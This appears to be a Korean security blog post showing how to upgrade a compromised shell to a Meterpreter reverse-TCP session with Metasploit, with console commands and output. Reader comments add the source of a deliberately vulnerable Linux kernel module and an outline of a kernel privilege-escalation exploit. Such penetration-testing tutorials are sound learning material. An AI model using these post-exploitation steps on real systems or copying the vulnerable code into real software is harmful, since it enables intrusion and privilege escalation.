shell_to_meterpreter Options
일단 해당 POST 모듈 사용을 위해 shell_to_meterpreter 모듈로 이동합니다.
hahwul exploit(handler) #> use post/multi/manage/shell_to_meterpreter
옵션을 보면 매우 심플합니다. HANDLER, LHOST, LPORT, SESSION 으로 구성됩니다.
hahwul post(shell_to_meterpreter) #> show options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on.
크게 중요한것만 보면 HANDLER는 해당 모듈이 동작할 때 meterpreter shell을 위해 추가로 handler를 돌릴 필요없이 해당 모듈에서 돌려주도록 설정하는 값입니다. Default로 yes로 되어 있으며, 별도로 handler가 동작중이라면 no로 변경하셔도 좋습니다.
LPORT는 해당 Shell로 넘어가는 POST 데이터와 handler에 모두 영향을 미치는 옵션값입니다.
이 값을 통해서 새롭게 열릴 Meterpreter 의 Port를 지정할 수 있습니다.
가장 중요한 SESSION은 현재 업그레이드 하려는 shell의 session 번호를 기입해줍니다.
shell_to_meterpreter 실행
위와같이 옵션 설정 후 실행 시 Meterpreter Shell의 데이터가 SESSION에 지정된 쉘로 넘어가며, 해당 쉘에서 추가로 해당 모듈이 만든 handler로 연결을 하게되어 meterpreter shell이 떨어지게 됩니다.hahwul post(shell_to_meterpreter) #> run -z
[*] Upgrading session ID: 4
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.0.66:4444
[*] Starting the payload handler...
[*] Command stager progress: 1.66% (1699/102108 bytes)
[*] Command stager progress: 3.33% (3398/102108 bytes)
[*] Command stager progress: 4.99% (5097/102108 bytes)
[*] Command stager progress: 6.66% (6796/102108 bytes)
[*] Command stager progress: 8.32% (8495/102108 bytes)
[*] Command stager progress: 9.98% (10194/102108 bytes)
[*] Command stager progress: 11.65% (11893/102108 bytes)
..snip..
이후 sessions을 통해 확인해보면 meterpreter shell이 열린것을 확인할 수 있습니다.
hahwul post(shell_to_meterpreter) #> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9 192.168.0.66:4444 -> 192.168.0.66:38762 (10.0.2.15)
 |
HAHWULSecurity engineer, Gopher and H4cker!
 |
안녕하세요. 하훌님의 블로거를 애독하고 있는 유져입니다.
ReplyDelete한가지 문의드릴게 있는데요.
제가 지금 리눅스 커널 BOF를 연구하고 있습니다.
https://blog.0x80.org/kernel-stack-overflows-basics/
위의 링크를 가보시면 아시겠지만 익스플로잇이 제대로 되지 않으니 이해가 잘 안갑니다.
테스트환경은 우분투 14.04 x86으로 설정했습니다.
모듈을 올리고 익스플로잇코드를 시험해 보았지만 커널패닉만 일어나네요..ㅠㅠ
님의 방조를 받고싶습니다.
그리고 이 블로거에 질의응답게시판같은게 있었으면 좋겠다는 바램입니다.
많은 도움 부탁드립니다. :-)
잘 봐주셔서 감사합니다. ㅎㅎ
Delete문의주신 내용은 잘 확인했습니다. 보내주신 주소 참고해서 저도 해보고 도움드릴 수 있는 부분은 정보 공유드리겠습니다.
그리고 질의응답게시판은 생각해보고 괜찮으면 만들어보겠습니다.
(구글 블로거가 이런게 참 안좋네요.. 없는게 많아 만들어 써야하는 =_=)
감사합니다. :)
염치없는 부탁에도 친절히 답글 달아주셔셔 감사드립니다. :)
ReplyDelete아무쪼록 많은 도움 부탁드립니다. ^_^
일단 저도 유사하게 가상머신이 바로 뻗네요..
DeleteDebian Wheezy/32,64에서 테스트했습니다.
일단 커널패닉 내용을 확인해야 어떤식으로 풀어나갈지 보일 것 같습니다.
간단하게 코드 내용으로 살펴보면요.
====== 취약 커널 모듈(buggyn) =============
int buggy_write(struct file *file, // 이쪽이 실제 취약한 부분이 됩니다.
const char *buf,
unsigned long len) {
char data[8];
printk(" buggy_write %sn", buf);
memcpy(data, buf, len); // 인자값으로 들어온 buf를 내부 버퍼인 data에 저장합니다.
//data에 buf가 저장될 때 data의 크기는 고려되지 않았으니 data 보다 큰 값이 들어올 때 BOF가 일어나게 됩니다.
return len;
}
int init_module()
{
printk(" module startedn");
printk(" creating proc entry @ /proc/buggyn");
// handle anything written to /proc/buggy
// pass it to buggy_write
proc_file_entry = create_proc_entry("buggy", 0666, NULL); //create_proc_entry를 통해 /proc 하단에 buggy라는 파일을 생성합니다. (권한은 666)
proc_file_entry->write_proc = buggy_write; //proc_file_entry의 write_proc를 초기화합니다.
//write_proc는 함수를 이용해서 /proc에 데이터를 쓸 수 있는 함수
//이 부분에서 buggy_wirte를 사용하게됩니다. 해당 함수는 위에 선언되어 있습니다.
// int mod_write( struct file *filp, const char __user *buff,
// unsigned long len, void *data );
// 이렇게 구성되는데, 마지막 인자가 빠져있는거 같네요.
return 0;
}
일단 취약 함수 구성은 이렇습니다.
====== 공격코드 =============
공격코드쪽을 보면 /proc/kallsyms 을 읽어와서 prepare_kernel_cred과 commit_creds의 주소값을 확보하고 아까 취약한 모듈인 /proc/buggy를 열어 fwrite로 buf 값을 쓰게됩니다.
size_t fwrite(const void *ptr, size_t size, size_t nmemb,
FILE *stream);
fwrite(buf, sizeof(buf), 24, fd);
fd(buggy)에 buf(payload+shell)을 쓰게됩니다.
buggy에 공격코드가 쓰이면서 아까 취약했던 함수부분에서 BOF를 발생시키는 것 같습니다만,
아무래도 커널 모듈이다 보니 오버 플로우 시켜 넘어간 쉘코드가 동작하지 않아서 커널 패닉이 뜰수도 있을 것 같습니다. 혹시 관련해서 syslog나 dmesg 등 로그 찍힌 내용이 있을까요?
사심없는 도움에 머리숙여 감사드립니다. ^_^
ReplyDelete저도 좀 살펴보았는데요...
우분투 14.04 x86 vmware를 IDA로 원격디버깅을 해보았습니다.
모듈을 올리고 커널심볼중에서 buggy_write의 주소를 따낸다음 IDA에서 해당 위치에 찾아가 브릭을 걸었습니다.
다음 익스플로잇 코드를 실행시키고 스텝으로 따라가 보았습니다.
근데 스택구조가 이상하더라구요.
유저모드에서보던 스택과는 리턴주소와 파라미터들이 차이가 났습니다.
그러다보니 오버가 일어난 후 fake_frame에로 eip가 넘어가지 않았습니다.
그리구 커널로그는 패닉이 뜨다보니 확인할수가 없었습니다.
염치없지만 이런 면에서 한번 더 봐주시면 감사하겠습니다.
감사합니다. :-)
시간이 널널하진 않아서 틈틈히 보고있어 아직 테스트 못해본 부분이 많네요.
Delete일단 확인되는대로 답글 달아드릴게요 :)
정말 감사합니다. 시간은 괜찮으니 걱정마시구요.
Delete귀중한 시간 내어주셔서 감사합니다. :-)